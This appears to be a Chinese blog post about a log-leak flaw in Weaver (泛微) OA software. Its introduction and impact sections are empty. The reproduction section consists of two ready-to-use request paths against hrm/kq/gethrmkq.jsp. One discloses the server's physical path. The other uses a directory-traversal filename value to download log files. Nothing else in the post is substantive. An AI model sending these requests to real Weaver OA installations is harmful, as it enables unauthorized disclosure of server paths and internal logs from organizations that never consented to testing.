泛微OA 日志泄露

泛微oa 日志泄露
===============

一、漏洞简介
————

二、漏洞影响
————

三、复现过程
————

读取物理路径

hrm/kq/gethrmkq.jsp?filename=1

日志下载     

hrm/kq/gethrmkq.jsp?filename=1..\1..\1.txt

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容